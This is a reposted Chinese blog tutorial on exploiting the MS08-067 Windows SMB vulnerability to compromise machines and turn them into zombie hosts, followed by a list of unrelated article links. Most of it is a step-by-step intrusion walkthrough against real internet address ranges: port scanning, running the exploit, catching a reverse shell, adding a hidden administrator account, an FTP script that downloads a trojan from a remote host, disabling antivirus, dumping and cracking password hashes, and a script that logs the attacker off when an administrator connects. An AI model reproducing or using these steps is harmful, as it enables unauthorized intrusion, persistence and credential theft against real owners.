博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
利用MS08067远程溢出漏洞抓肉鸡
阅读量:6955 次
发布时间:2019-06-27

本文共 5954 字,大约阅读时间需要 19 分钟。

利用MS08067远程溢出漏洞抓肉鸡

陈小兵 
antian365.com
   
微软的正版验证机会出来以后没有多久,就爆出针对台湾和简体中文版本的MS08067
漏洞,这个时候微软主动爆出这个号称比冲击波还要厉害的漏洞,是否针对我国,很多人都在怀疑,万事讲究证据,没有证据,也只能猜测!不过武器在别人手中,想怎么玩你,就怎么玩你!很多专家也对微软提供的更新中是否保护木马,诸如下载者等等表示怀疑和关注!网上也有说的微软是中国最大的黑客,
就笔者个人经验来说,现在的Linux
操作系统完全能够胜任常用的办公功能。闲话少说,俺给大家带来最新的MS08067
远程溢出漏洞实战分析。
(一)MS08067
漏洞描述
MS08-067
漏洞的全称为“Windows Server
服务RPC
请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 
请求,则该漏洞可能允许远程执行代码。 
 Microsoft Windows 2000
Windows XP 
 Windows Server 2003 
系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
MS08-067
比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统,Vista
除外,毫无幸免!
(二)MS08067
远程漏洞实际利用
1.
扫描445
端口
关于MS08067
漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放139
445
端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描445
端口,扫描的工具很多,我给大家介绍两种在DOS
下面扫描的工具,一个是sfind.exe
另外一个是s.exe
,前者命令为“sfind –p 445 ip
地址1 ip
地址2
,例如扫描“sfind –p 445 218.99.0.1 218.99.0.255
;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save
”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用sfind.exe
对附近计算机进行445
端口扫描,如图1
所示,一共出来7
台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。
使用sfind
扫描445
端口
说明:
1
)由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到sfind
扫描目录下直接打开sfind.txt
扫描结果。
2.
使用MS08067
溢出工具对结果进行溢出尝试
将获取的代码在VC
中进行编译,将生成的程序重新命名为“MS0867
”,然后打开DOS
操作界面,并将MS08067.exe
程序复制到当前操作目录(今天有人问我,为什么直接双击MS08067.exe
程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式,MS08067
漏洞的使用方法为“MS08067 IP
地址”,IP
地址为存在该漏洞的服务器或者个人计算机的IP
地址。输入存在可能存在该漏洞的IP
地址218.*.*.*
,结果显示为“SMB Connect OK! Maybe Patched!
”如图2
所示。
对存在漏洞的服务器进行溢出
注意:
1
)在溢出过程还有多种提示例如“Make SMB Connection error:64
2
)出现“Maybe Patched
!”提示的计算机也可能溢出成功。
3
)仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在445
漏洞也无法溢出,原因是操作系统溢出点内存地址不同。
3.
监听“4444
端口
在执行扫描的计算机上使用nc
监听4444
端口,具体命令为“nc –vv ip
地址 4444
,例如“nc –vv 218.69.*.2 4444
,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444
Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002: TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”
,这说明218.22.27.71
可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。
说明:
MS08067
中可以定制监听端口,不过那个端口需要在源程序中定制。
4.
继续进行溢出
换另外一个IP
地址执行溢出,重新监听该IP
地址,如图3
所示,出来我们比较熟悉的反弹Shell
串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。
溢出成功
5.
查看服务器信息
对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“type c:\boot.ini
”查看操作系统类型,如图4
所示,该服务器为Windows 2003
企业版服务器,显然有进一步控制的必要了。
查看服务器版本等信息
6.
添加管理员账号
既然是服务器那就先添加一个管理员帐号吧,如图5
所示使用“net user king$ nohacker /add
”、“net localgroup administrators king$ /add
”以及“net localgroup administrators
”命令添加“king$
”用户,密码为“nohacker
”,并查看是否将“king$
”用户加入到管理员组中。
添加一个用户到管理员组中
7.
上传文件
关于上传文件有多种方法,个人推荐ftp
脚本法,即在某一个站点或者自己假设一个临时Ftp
服务器,然后使用以下样本下载ma.exe:
echo open 218.*.*.* >b
echo ftp>>b
echo ftp>>b
echo bin>>b
echo get ma.exe>>b
echo bye>>b
ftp -s:b
del b
将以上脚本在反弹的shell
中直接粘贴即可从Ftp
服务器上下载,然后可以在反弹的Shell
中执行下载的文件。在本次渗透过程中,由于是相邻IP
,因此使用了一个简便的方法,即单击“开始”-
“运行”,在其中输入“\\IP\admin$
”或者“\\IP\C$
”并确定,如图6
所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。
6
打开网络连接
如果验证正确,则可以像使用资源管理器一样使用被溢出计算机所建立的磁盘连接,如图7
所示,顺利打开该服务器上的C
盘,然后将木马、获取系统密码、查看系统信息等工具软件直接复制过去即可。
7
打开被溢出服务器系统盘
8
.获取系统详细信息以及执行各种命令
使用MS08067
溢出工具成功溢出服务器后,还可以使用“telnet IP
地址 4444
连接被溢出服务器,如图8
所示,偶使用telnet
进行了尝试,获取系统信息并开放了3389
端口。
使用telnet
连接被溢出计算机
说明:
1
)使用telnet
连接被溢出计算机不如反弹shell
好用,在telnet
中有可能看不到输入,或者输入后反应较为迟钝。
2
)开放3389
的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。
3
)可以使用以下脚本来查看对方服务器3389
端口:
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
9.
登录被溢出服务器
打开mstsc
远程终端连接器,输入IP
地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图9
所示。
顺利进入被溢出服务器
10.
加固服务器
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图10
所示,就地取材,看看系统有什么杀毒软件,有无360
卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。
10 
扫描系统漏洞并修复
注意:
1
)如果系统安装有瑞星等杀毒软件,使用getpw
获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用getpw
获取系统的Hash
密码。Getpw
获取密码的格式为“getpw $local
”,获取Hash
密码一定要在shell
中,否则获取的Hash
密码为空,将获取的值复制到Txt
文件中,并去除内容中的空格,正确的格式如图11
所示。
11 
获取的密码Hash
2
)如果被溢出服务器已经开放3389
,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即:
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
Wend
11.
破解Hash
这个俺就不多说了。直接使用LC5
导入即可,要是还不会的,请关注本团队的一系列研究结果。破解Hash
值的好处就是以后使用管理员的帐号和密码进行登录,当然还可以以防万一!
12.
继续溢出和推广使用方法
测试成功后,呵呵继续对扫描出来的结果进行了溢出,毫无疑问,Windows XP
Window 2000 Server
Windows 2000 Professional
以及Windows2003 Server
均可成功溢出,如图12
所示,溢出一台Windows 2000 Server
。呵呵,好东西就应该跟大家分享,俺溢出成功后,就跟俺的好友们共享这个成功的溢出过程。
12 
继续溢出其它类型服务器
(三)防范措施
1.
安装360
卫士和升级系统补丁
首先就是升级系统补丁,推荐使用360
卫士,使用其扫描即可,发现问题纠正问题即可。还有就是要及时升级360
卫生的版本,在实际溢出过程中,我发现很多服务器上都安装了杀毒软件以及360
卫士,但是其版本太低,未及时更新补丁程序,失去了应有的防范能力。
2.
安装防火墙
在本次溢出过程中,我们还发现存在防火墙的情况下,成功溢出的几率几乎为0
,因此推荐在系统中安装防火墙,对内外网防范都有效。
(四)总结与体会
本次测试几乎是在要放弃的情况下,偶是先进行了MS08067
漏洞的本地测试,一个都没有成功,都想放弃了,后面打算放到实际环境中进行测试,未想一炮打响,再后来有一些改进的思路,偶做了录像,具体可以看录像,本人觉得可以将其修改跟1433
自动抓肉鸡那个工具一样,自动扫描,自动溢出,自动执行下载程序,安全总在思维的突破!
 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/116408

转载地址:http://estil.baihongyu.com/

你可能感兴趣的文章
编写兼容性JS代码
查看>>
使用bacula实现Linux的远程备份和还原
查看>>
getshell工具
查看>>
linux版基金看板
查看>>
likely()与unlikely()
查看>>
spring实战三装配bean之Bean的作用域以及初始化和销毁Bean
查看>>
如何使用 TP中的公共函数 (定义在common/common.php中的函数)
查看>>
freepbx 安装和配置
查看>>
redhat安装VMware tools的方法
查看>>
[转] --- Error: “A field or property with the name was not found on the selected data source” ge...
查看>>
I2S详解
查看>>
Atitit.atijson 类库的新特性设计与实现 v3 q31
查看>>
Linux 内核的文件 Cache 管理机制介绍
查看>>
运维高考题
查看>>
PreviewRenderUtility的Example
查看>>
纯JS操作获取桌面路径方法
查看>>
HTTP VISUAL HTTP请求可视化工具、HTTP快照工具(公测)
查看>>
Htmlparser专题
查看>>
银行支持一带一路超4800亿美元 投资不受外汇限制
查看>>
scrapy-splash抓取动态数据例子七
查看>>